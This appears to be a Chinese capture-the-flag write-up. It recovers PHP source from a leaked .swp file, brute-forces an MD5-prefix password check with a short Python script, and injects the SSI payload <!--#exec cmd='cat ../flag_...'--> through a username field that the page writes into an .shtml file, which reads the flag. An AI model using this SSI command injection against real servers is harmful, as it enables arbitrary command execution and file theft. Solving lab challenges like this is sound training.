1.首页御剑扫描可以发现有index.php.swp,可以查看源码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
可以看到当password的md5值的前六位是6d0bc1时那么就可以进去。
简单写个脚本爆破一下:
import hashlib
for i in range(1,10000000):
res=hashlib.md5(str(i).encode()).hexdigest()
if res[:6]=="6d0bc1":
print(str(i))
break
爆破得到2020666。这里发现
访问一下看看是什么。
发现返回了admin
猜测是ssi注入
最终payload,访问就有flag最终payload:
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->